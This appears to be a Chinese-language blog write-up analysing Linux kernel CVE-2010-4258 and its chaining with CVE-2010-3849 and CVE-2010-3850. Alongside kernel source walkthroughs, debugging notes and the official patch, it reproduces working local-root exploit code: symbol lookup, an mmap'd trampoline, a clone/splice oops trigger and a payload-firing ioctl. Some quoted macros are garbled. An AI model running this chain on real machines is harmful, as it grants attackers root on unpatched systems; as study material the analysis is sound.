CVE-2010-4258分析&&set_fs(KERNEL_DS)与内核文件读写
在用户态,可以使用open、close、read、write等库调用对磁盘文件进行操作,但是内核没有这样的函数调用.通过跟踪open等函数执行流程,可以看到最终调用内核的sys_read,sys_write函数,但是这两个函数没有导出符号.不过,有vfs_read,vfs_write函数会调用sys_read,sys_write,而且传入的参数基本上相同,因此,可以通过调用vfs_read等实现对文件的读写.
不过,内核默认给出的文件操作是给用户层使用的,所以默认传入的参数都来自用户层,为了避免用户层修改内核层数据,会对传入的参数检查是否越界到内核地址.
因此,当内核调用这类操作函数的时候,就必须传入用户层的地址.但是内核是不能轻易获得用户层的地址的,所以通过set_fs(KERNEL_DS)将当前进程的地址空间上限设为KERNL_DS,就能绕过检查,实现对文件的操作.
file_open,filp_close,vfs_read,vfs_write:
1 2 3 4 5 6 7 8
| struct file *filp_open(const char *filename, int flags, umode_t mode) ;
int filp_close(struct file *filp, fl_owner_t id) ;
ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos);
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos) ;
|
其中的buf参数表明是指向的用户空间,但是我们在内核调用的时候,传入的buf是在内核空间,因此检查参数的时候就会出错,导致我们不能通过内核空间直接传数据到文件里.
为了解决这个问题,我们可以通过set_fs函数解除这个束缚.
1 2 3 4 5 6 7
| typedef struct { unsigned long seg; } mm_segment_t;
static inline void set_fs(mm_segment_t fs){ current_thread_info()->addr_limit = fs; }
|
而fs只有两个值:KERNEL_DS,USER_DS(对于x86系统 KERNEL_DS=0xFFFFFFFF USER_DS=0xC0000000)
一个简单的示例(完整代码见最尾):
1 2 3 4 5 6 7
| fp = filp_open("/home/victorv/t.txt", O_RDWR | O_CREAT, 0644); cur_mm_seg = get_fs(); set_fs(KERNEL_DS); vfs_write(fp, wbuf, sizeof(wbuf), &fpos); fpos = 0; vfs_read(fp, rbuf, sizeof(rbuf), &fpos); set_fs(cur_mm_seg);`
|
简述
Nelson Elhage发现了一个内核设计上的漏洞,通过利用这个漏洞可以将一些以前只能dos的漏洞变成可以权限提升的漏洞。线程退出的时候,如果设置了”CLONE_CHILD_CLEARTID”标志,会对线程的clear_child_tid 置零,置零前会检查指针地址是否越界到内核空间.
这个过程本身没什么问题,问题在于,当出现内核OOPS的时候,会执行进程退出操作,又由于大多数的OOPS都伴有set_fs(KERNEL_DS),使得退出流程前并没有及时恢复成USER_DS,从而绕过越界检查,实现对任意地址置零.
如果绕过检查,置零了内核某函数指针的高位,使之指向用户空间,再调用了该函数,就能劫持内核流程到用户空间.
OOPs:当内核检测到问题时,它会打印一个oops消息然后杀死全部相关进程。当oops非常严重,内核决定直接结束系统时,就叫panic.
代码分析
退出流程
- 当fork或clone一个进程的时候,会调用copy_process函数:
1 2 3 4
| task_struct *copy_process(...){ ... p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL; }
|
如果设置了CLONE_CHILD_CLEARTID标志,就会将child_tidptr赋值给clear_child_tid,而child_tidptr来自用户空间,可以受用户控制,意味着我们可以指向内核地址.
下面这个是clone的函数原型,ctid就是child_tidptr指针
1 2 3
| int clone(int (*fn)(void *), void *child_stack, int flags, void *arg, ... /* pid_t *ptid, struct user_desc *tls, pid_t *ctid */ );
|
CLONE_CHILD_CLEARTID (since Linux 2.5.49)
在线程退出的时候清除子线程的ctid执行的地址,并唤醒该地址的futex.
- 当一个线程退出的时候,do_exit()会执行如下操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| NORET_TYPE void do_exit(long code){ exit_mm(tsk); } static void exit_mm(struct task_struct * tsk){ struct mm_struct *mm = tsk->mm; struct core_state *core_state; mm_release(tsk, mm); }
void mm_release(struct task_struct *tsk, struct mm_struct *mm){ if (tsk->clear_child_tid) { if (!(tsk->flags & PF_SIGNALED) &&atomic_read(&mm->mm_users) > 1) { put_user(0, tsk->clear_child_tid); <<------------------------- sys_futex(tsk->clear_child_tid, FUTEX_WAKE,1,NULL, NULL, 0); } tsk->clear_child_tid = NULL; } }
|
其中,put_user(x,ptr)函数将ptr指向的地址修改为x.即对”clear_child_tid”指向的内存置零
- put_user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| 189 #define put_user(x,p) 190 ({ 191 might_fault(); 19* __put_user_check(x,p); 193 })
164 #define __put_user_check(x,p) 165 ({ \ 166 unsigned long __limit = current_thread_info()->addr_limit - 1; \ 167 register const typeof(*(p)) __r*asm("r*) = (x); \ 168 register const typeof(*(p)) __user *__p asm("r0") = (p);\ 169 register unsigned long __l asm("r1") = __limit; \ 170 register int __e asm("r0"); \ 171 switch (sizeof(*(__p))) { \ 17* case 1: \ 173 __put_user_x(__r* __p, __e, __l, 1); \ 174 break; \ 175 case * \ 176 __put_user_x(__r* __p, __e, __l, *; \ 177 break; \ 178 case 4: \ 179 __put_user_x(__r* __p, __e, __l, 4); \ 180 break; \ 181 case 8: \ 18* __put_user_x(__r* __p, __e, __l, 8); \ 183 break; \ 184 default: __e = __put_user_bad(); break; \ 185 } \ 186 __e; \ 187 }
|
__put_user_check的功能是根据ptr的类型大小,利用__put_user_x宏将x拷贝1,2,4,8个字节到ptr所指向的内存
1 2 3
| 175 #define __put_user_x(size, x, ptr, __ret_pu) \ 176 asm volatile("call __put_user_" #size : "=a" (__ret_pu) \ 177 : "" ((typeof(*(ptr)))(x)), "c" (ptr) : "ebx")
|
__put_user_x完成两件事,将eax填充为x,将ecx填充为ptr,因为clear_child_tid是int类型,所以这里会调用__put_user_4
1 2 3 4 5 6 7 8 9 10
| ENTRY(__put_user_4) ENTER mov TI_addr_limit(%_ASM_BX),%_ASM_BX//TI_addr_limit得到当前进程的地址空间上限放在ebx sub $3,%_ASM_BX cmp %_ASM_BX,%_ASM_CX //比较要访问的地址是否高于内核地址 jae bad_put_user //如果超过就不拷贝. 3: movl %eax,(%_ASM_CX)//将ptr指向的地址置零 xor %eax,%eax EXIT ENDPROC(__put_user_4)
|
通过分析上述代码,可以得出这样的结论:设置了CLONE_CHILD_CLEARTID标志的进程(线程)退出的时候,会对”child_tidptr”指向的地址执行置零操作,且地址由我们控制.
- 每当我们访问一个无效地址的时候,系统便会执行do_page_fault去生成异常日志,结束异常进程等
1 2 3 4 5 6 7
| int do_page_fault(struct pt_regs *regs, unsigned long address, unsigned int write_access, unsigned int trapno) { die("Oops", regs, (write_access << 15) | trapno, address); do_exit(SIGKILL); <<------------------- }
|
do_page_fault –> do_exit –> exit_mm –> mm_release –> put_user
因此,找一个执行了set_fs(KERNEL_DS)的漏洞,就可以实现内核任意地址置零操作.
利用漏洞触发OOPS(CVE-2010-3849)
在CVE-2010-3849漏洞里,msg->msg_name的值可以由用户自由控制,而econnet_sendmsg函数会调用这个指针,如果把该指针设为NULL,就会触发OOPS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| 1094 ssize_t sock_no_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags){ 1104 msg.msg_name = NULL; ... 1115 old_fs = get_fs(); 1116 set_fs(KERNEL_DS); 1117 res = sock_sendmsg(sock, &msg, size);
1118 set_fs(old_fs); 1120 }
500 int sock_sendmsg(struct socket *sock, struct msghdr *msg, int size){ sock->ops->sendmsg(sock, msg, size, &scm); }
static int econet_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, size_t len) { struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name; ... eb->cookie = saddr->cookie; <<----------------------- }
|
追溯一下触发异常的流程如下图(不同版本的内核可能会多一个__sock_sendmsg函数,无大碍):
结合两个漏洞,利用CVE-2010-3849触发oops,再利用CVE-2010-4258实现对内核函数地址的置零,从而控制内核函数.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 748 static const struct proto_ops econet_ops = { 749 .family = PF_ECONET, 750 .owner = THIS_MODULE, 751 .release = econet_release, 752 .bind = econet_bind, 753 .connect = sock_no_connect, 754 .socketpair = sock_no_socketpair, 755 .accept = sock_no_accept, 756 .getname = econet_getname, 757 .poll = datagram_poll, 758 .ioctl = econet_ioctl, 759 .listen = sock_no_listen, 760 .shutdown = sock_no_shutdown, 761 .setsockopt = sock_no_setsockopt, 762 .getsockopt = sock_no_getsockopt, 763 .sendmsg = econet_sendmsg, 764 .recvmsg = econet_recvmsg, 765 .mmap = sock_no_mmap, 766 .sendpage = sock_no_sendpage, 767 };
|
然而,在配置econet的时候,需要设置econet的地址
1
| ioctl(econet_socket, SIOCSIFADDR, &ifr);
|
而”SIOCSIFADDR”是个特权操作,为了安全考虑,只接收AF_INET地址,所以我们的econet就不能设置.为了实现地址设置,需要用到CVE-2010-3850
CVE-2010-3850:ec_dev_ioctl函数在内核版本2.6.36前,不需要CAP_NET_ADMIN权限就能允许普通用户绕过权限限制,实现通过ioctl的SIOCSIFADDR来设置econet 地址.
漏洞利用
- 获取所需内核函数地址
- 提前在地址econet_ioctl对应的用户地址布置提权代码
- 通过发送全0的消息,触发调用set_fs(KERNEL_DS)的内核bug(比如非法读取),导致oops,让它把当前线程kill掉(这里使用cve-2010-3849)
- do_page_fault将我们精心指向的内核函数地址高位置零.假设由0xcc401234变成0x00401234
- 在主进程调用ioctl触发修改过的函数econet_ioctl,执行提权.
具体细节:
获取函数
1 2 3 4
| econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
填充空间
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| void __attribute__((regparm(3))) trampoline(){ #ifdef __x86_64__ asm("mov $getroot, %rax; call *%rax;"); #else asm("mov $getroot, %eax; call *%eax;"); #endif } SHIFT=8; landing = econet_ioctl << SHIFT >> SHIFT; mmap((void *)(landing & ~0xfff), 2*4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); memcpy((void *)landing, &trampoline, 1024);
|
触发oops
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| OFFSET=1; int fildes[4]; pipe(fildes); fildes[3]=open("/dev/zero", O_RDONLY); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); target = econet_ops + 10 * sizeof(void *) - OFFSET; newstack = malloc(65536); clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target);
int trigger(int * fildes){ int ret; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); exit(0); }
|
splice() 在这里就相当于把/dev/zero通过管道与econet连接起来.
/dev/zero 是一个特殊的文件,当你读它的时候,它会提供无限的空字符(NULL, ASCII NUL, 0x00)。
- 调用shellcode
1
| ioctl ( fildes[2] , 0 , NULL );
|
环境:ubuntu 10.04,内核:2.6.32
断点设置
econet_sendmsg
获取econet_ops的地址
在被调试机机
1 2
| $ cat /sys/module/econet/sections/.text 0xf806a000
|
如果没有这个模块,就手动加载
调试机加载符号文件
1
| $ add-symbol-file econet.ko 0xf806a000
|
查看econet_create函数
1
| $ disassmble econet_create
|
可以看到econet_ops的地址是0xf806b380
查看一下结构的内容:
对比exploit的get_kernel_symbol函数得到的结果:
地址正确
触发oops
运行exploit,断在econet_sendmsg,继续执行出现非法读取:
这里有个bug,就是在开启kgdb调试的时候,它无法完成正确的处理,导致一直在重复do_page_default函数,然后没办法结束线程.
为了查看调试结果,我在mm_release函数里添加了个判断语句:
1 2
| if(tsk->clear_child_tid > USER_DS) printk("kernel_reset:%p",(int)tsk->clear_child_tid);
|
查看printk的输出:
成功提权结果
针对4258,在mm_release里添加对tsk->clear_child_tid > USER_DS的判断,如果成立就直接返回,或者在do_exit里添加set_fs(USER_DS)
4528patch:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| diff --git a/kernel/exit.c b/kernel/exit.c index b64937a..69f4445 100644 --- a/kernel/exit.c +++ b/kernel/exit.c @@ -907,6 +907,15 @@ NORET_TYPE void do_exit(long code) if (unlikely(!tsk->pid)) panic("Attempted to kill the idle task!"); + /* + * If do_exit is called because this processes oopsed, it's possible + * that get_fs() was left as KERNEL_DS, so reset it to USER_DS before + * continuing. Amongst other possible reasons, this is to prevent + * mm_release()->clear_child_tid() from writing to a user-controlled + * kernel address. + */ + set_fs(USER_DS); + tracehook_report_exit(&code); /*
|
官方的做法是恢复界限,避免多余的检查
#总结
虽然这是个很老的漏洞,但是它结合其它漏洞的联合利用的方法,以及对一个漏洞的新开发值得好好学习,也让我对linux的各种处理机制有了更多了解,还学习了如何在内核层操作文件的方法,受益匪浅.
#疑问
- 在调试的时候,使用kgdb会造成不停do_page_default操作,从而无法执行提权
不能使用kgdb调试的问题我也费了好久才发现,本来以为是内核问题,试了好几个内核,后来无意间发现我没有开启kgdb的时候可以成功,我才知道是kgdb影响了调试,希望以后能够获得解答.
简单的文件读写操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| #include <linux/init.h> #include <linux/module.h> #include <linux/fs.h> #include <asm/uaccess.h>
#define SLAM_FILE_PATH "/home/victorv/slam.txt"
static char wbuf[] = "Hello slam-victorv"; static char rbuf[128];
static int vfs_operate_init(void) { struct file * fp; mm_segment_t cur_mm_seg; loff_t fpos = 0;
printk("<victorv>in %s!\n",__func__); fp = filp_open(SLAM_FILE_PATH, O_RDWR | O_CREAT, 0644); if (IS_ERR(fp)) { printk("<victorv>filp_open error\n"); return -1; }
cur_mm_seg = get_fs(); set_fs(KERNEL_DS); vfs_write(fp, wbuf, sizeof(wbuf), &fpos); fpos = 0; vfs_read(fp, rbuf, sizeof(rbuf), &fpos); printk("<victorv>read content: %s\n", rbuf); set_fs(cur_mm_seg);
filp_close(fp, NULL); return 0; }
static void vfs_operate_exit(void) { printk("Bye %s!\n", __func__); }
module_init(vfs_operate_init); module_exit(vfs_operate_exit);
MODULE_LICENSE("GPL");
|
reference:
相关源码引用地址
vfs_read
KERNEL_DS
exploit:full-nelson.c
kernel-exploit
cve-2010-3850
分析参考